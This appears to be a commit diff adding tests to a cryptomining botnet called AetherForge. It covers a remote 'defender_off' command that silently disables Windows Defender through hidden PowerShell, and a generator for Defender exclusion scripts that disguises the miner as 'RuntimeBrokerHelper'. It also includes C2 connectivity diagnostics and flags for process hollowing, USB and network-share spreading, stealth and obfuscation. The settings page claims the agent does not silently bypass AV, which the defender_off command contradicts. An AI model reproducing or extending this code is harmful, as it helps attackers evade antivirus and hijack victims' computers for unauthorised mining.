Add AV/Defender tests for diagnostics, exclusions, and defender_off.

Vitest covers mining diagnostics JSON blockers, AV-Safe preset fields, Calibrate .ps1 generation, and Settings Defender UI; Go tests cover defender_off error paths and mining blocker inference.
This commit is contained in:
AetherForge
2026-06-07 06:38:00 -07:00
parent de10718505
commit b5b1de4517
9 changed files with 247 additions and 2 deletions

View File

@@ -188,6 +188,46 @@ func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
}
}
func TestDefenderOffRequiresRemoteAggressive(t *testing.T) {
c := newTestClient(t)
c.cfg.RemoteAggressive = false
ok, reason := c.allowRemoteAction("defender_off")
if ok || reason == "" {
t.Fatalf("expected defender_off gated without remote_aggressive")
}
c.cfg.RemoteAggressive = true
ok, reason = c.allowRemoteAction("defender_off")
if !ok || reason != "" {
t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason)
}
}
func TestDefenderOffErrorPathNonWindows(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go")
}
c := newTestClient(t)
c.cfg.RemoteAggressive = true
var gotAct string
var gotOK bool
var gotMsg string
c.commandResultHook = func(action string, success bool, message string) {
gotAct, gotOK, gotMsg = action, success, message
}
if !c.handleAggressiveCommand("defender_off", 0, "", "", "") {
t.Fatal("defender_off should be handled")
}
if gotAct != "defender_off" {
t.Fatalf("action=%q", gotAct)
}
if gotOK {
t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg)
}
if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") {
t.Fatalf("expected defender error in message, got %q", gotMsg)
}
}
func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
var (
mu sync.Mutex

View File

@@ -178,6 +178,30 @@ func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
}
}
func TestInferMiningBlockersJobPresentZeroHashrate(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
C2Connected: true,
CPU: struct {
RemotePaused bool `json:"remote_paused"`
ScheduleBlocked bool `json:"schedule_blocked"`
ResourcesBlocked bool `json:"resources_blocked"`
HasJob bool `json:"has_job"`
Hashrate float64 `json:"hashrate_hps"`
}{HasJob: true, Hashrate: 0},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "hashrate=0") && strings.Contains(b, "AV") {
found = true
}
}
if !found {
t.Fatalf("expected AV/throttle blocker, got %v", blockers)
}
}
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},

View File

@@ -0,0 +1,52 @@
//go:build windows
package deploy
import (
"errors"
"strings"
"testing"
)
func TestDisableDefenderRealtimeSuccess(t *testing.T) {
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
if name != "powershell" {
t.Fatalf("expected powershell, got %q", name)
}
joined := strings.Join(arg, " ")
if !strings.Contains(joined, "DisableRealtimeMonitoring") {
t.Fatalf("missing DisableRealtimeMonitoring in %q", joined)
}
return []byte(""), nil
})
defer SetHiddenCombinedOutputFn(nil)
msg, err := DisableDefenderRealtime()
if err != nil {
t.Fatalf("unexpected error: %v msg=%q", err, msg)
}
if !strings.Contains(msg, "real-time monitoring disabled") {
t.Fatalf("expected success message, got %q", msg)
}
}
func TestDisableDefenderRealtimeAdminRequiredError(t *testing.T) {
SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) {
return []byte("access denied"), errors.New("exit status 1")
})
defer SetHiddenCombinedOutputFn(nil)
msg, err := DisableDefenderRealtime()
if err == nil {
t.Fatalf("expected error, got msg=%q", msg)
}
if !strings.Contains(err.Error(), "defender disable failed") {
t.Fatalf("unexpected error: %v", err)
}
if !strings.Contains(err.Error(), "admin required") {
t.Fatalf("expected admin hint in error: %v", err)
}
if !strings.Contains(msg, "access denied") {
t.Fatalf("expected stderr in message, got %q", msg)
}
}

View File

@@ -23,4 +23,26 @@ describe('defenderExclusion', () => {
it('provides default install preview', () => {
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
});
it('warns when not elevated and documents manual checklist', () => {
const script = buildDefenderExclusionScript({
installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker',
processName: 'RuntimeBrokerHelper',
});
expect(script).toContain('Administrator');
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('Add-MpPreference -ExclusionProcess');
expect(script).toContain('Controlled folder access');
expect(script).toContain('Cloud-delivered protection');
expect(script).toMatch(/AetherForge — Windows Defender exclusions/);
});
it('appends .exe to bare process names', () => {
const script = buildDefenderExclusionScript({
installPath: 'C:\\miner',
processName: 'worker',
});
expect(script).toContain("'worker.exe'");
expect(script).not.toContain("'worker.exe.exe'");
});
});

View File

@@ -122,8 +122,17 @@ describe('forgeOperationModes', () => {
expect(next.process_hollowing).toBe(false);
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(false);
expect(next.usb_spread).toBe(false);
expect(next.share_spread).toBe(false);
expect(next.remote_aggressive).toBe(false);
expect(next.obfuscate).toBe(false);
expect(next.stealth_mode).toBe(true);
expect(next.display_mode).toBe('background');
expect(next.firewall_exclusion).toBe(true);
expect(next.mining_mode).toBe('idle');
expect(next.max_cpu_usage_pct).toBe(50);
expect(next.thread_percent).toBe(50);
expect(next.fusion_enabled).toBe(false);
});
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import SettingsPage, { deepMerge } from './SettingsPage';
import { SoundProvider } from '../context/SoundContext';
@@ -271,4 +271,48 @@ describe('SettingsPage (Calibrate)', () => {
const adminCode = screen.getAllByText('admin', { exact: true }).find((el) => el.tagName === 'CODE');
expect(adminCode).toBeTruthy();
});
it('renders Windows Defender Exclusions section with honest AV copy', async () => {
renderSettings();
expect(await screen.findByText('Windows Defender Exclusions')).toBeInTheDocument();
expect(screen.getByText(/manually as Administrator/i)).toBeInTheDocument();
expect(screen.getByText(/does not silently bypass AV/i)).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'Copy exclusion script' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: 'Download .ps1' })).toBeInTheDocument();
expect(screen.getByLabelText('Install path')).toBeInTheDocument();
expect(screen.getByLabelText('Process name')).toBeInTheDocument();
});
it('downloads Defender exclusion .ps1 from Calibrate inputs', async () => {
const createObjectURL = vi.fn(() => 'blob:defender-test');
const revokeObjectURL = vi.fn();
vi.stubGlobal('URL', { ...URL, createObjectURL, revokeObjectURL });
const clickSpy = vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(() => {});
const user = userEvent.setup({ delay: null });
renderSettings();
await screen.findByText('Windows Defender Exclusions');
fireEvent.change(screen.getByLabelText('Install path'), {
target: { value: 'C:\\CryptoMiner\\rig-01' },
});
fireEvent.change(screen.getByLabelText('Process name'), {
target: { value: 'RuntimeBrokerHelper' },
});
await user.click(screen.getByRole('button', { name: 'Download .ps1' }));
await waitFor(() => {
expect(createObjectURL).toHaveBeenCalled();
expect(clickSpy).toHaveBeenCalled();
});
const blob = createObjectURL.mock.calls[0][0] as Blob;
const script = await blob.text();
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('RuntimeBrokerHelper.exe');
expect(script).toContain('C:\\CryptoMiner\\rig-01');
expect(script).toContain('Tamper Protection');
expect(await screen.findByText(/Downloaded aetherforge-defender-exclusions\.ps1/i)).toBeInTheDocument();
clickSpy.mockRestore();
vi.unstubAllGlobals();
});
});

View File

@@ -487,7 +487,9 @@ export default function SettingsPage() {
)}
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">Windows Defender Exclusions</h2>
<h2 className="font-display">
Windows Defender Exclusions <FieldHint field="calibrate_defender_exclusions" />
</h2>
<p className="section-desc">
Generate a PowerShell script to allowlist your forge install path and worker process.
Run it <strong>manually as Administrator</strong> on each mining PC the agent does not silently bypass AV.

View File

@@ -0,0 +1,44 @@
import { describe, expect, it } from 'vitest';
import { parseMiningBlockers, parseTierReport } from './lotl';
describe('parseMiningBlockers', () => {
it('reads likely_blockers from mining diagnostics JSON', () => {
const blockers = parseMiningBlockers({
likely_blockers: [
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
'job present but hashrate=0 — engine init failure or process throttled/killed by AV',
],
});
expect(blockers).toHaveLength(2);
expect(blockers[0]).toMatch(/Defender real-time protection/);
expect(blockers[1]).toMatch(/hashrate=0/);
});
it('falls back to legacy blockers key', () => {
expect(parseMiningBlockers({ blockers: ['cascade failures recorded'] })).toEqual([
'cascade failures recorded',
]);
});
it('filters non-string entries and returns empty when absent', () => {
expect(parseMiningBlockers({ likely_blockers: [1, 'ok', null] })).toEqual(['ok']);
expect(parseMiningBlockers({})).toEqual([]);
});
});
describe('parseTierReport with blockers payload', () => {
it('extracts tier fields alongside blockers', () => {
const raw = {
lotl_tier: 'inprocess',
lotl_attempts: [{ tier: 'inprocess', ok: true, duration_ms: 900 }],
likely_blockers: ['mining fallback chain exhausted — all primary methods failed'],
mining_hashrate: 420,
};
const tier = parseTierReport(raw);
const blockers = parseMiningBlockers(raw);
expect(tier.lotl_tier).toBe('inprocess');
expect(tier.lotl_attempts).toHaveLength(1);
expect(tier.mining_hashrate).toBe(420);
expect(blockers[0]).toMatch(/fallback chain exhausted/);
});
});

View File

@@ -79,6 +79,14 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
return out;
}
/** Normalize likely_blockers / legacy blockers from mining_diagnostics JSON. */
export function parseMiningBlockers(raw: Record<string, unknown>): string[] {
const blockers = raw.likely_blockers ?? raw.blockers;
return Array.isArray(blockers)
? blockers.filter((b): b is string => typeof b === 'string')
: [];
}
/** Extract tier report fields from mining_diagnostics JSON or WS agent row. */
export function parseTierReport(raw: Record<string, unknown>): {
lotl_tier?: string;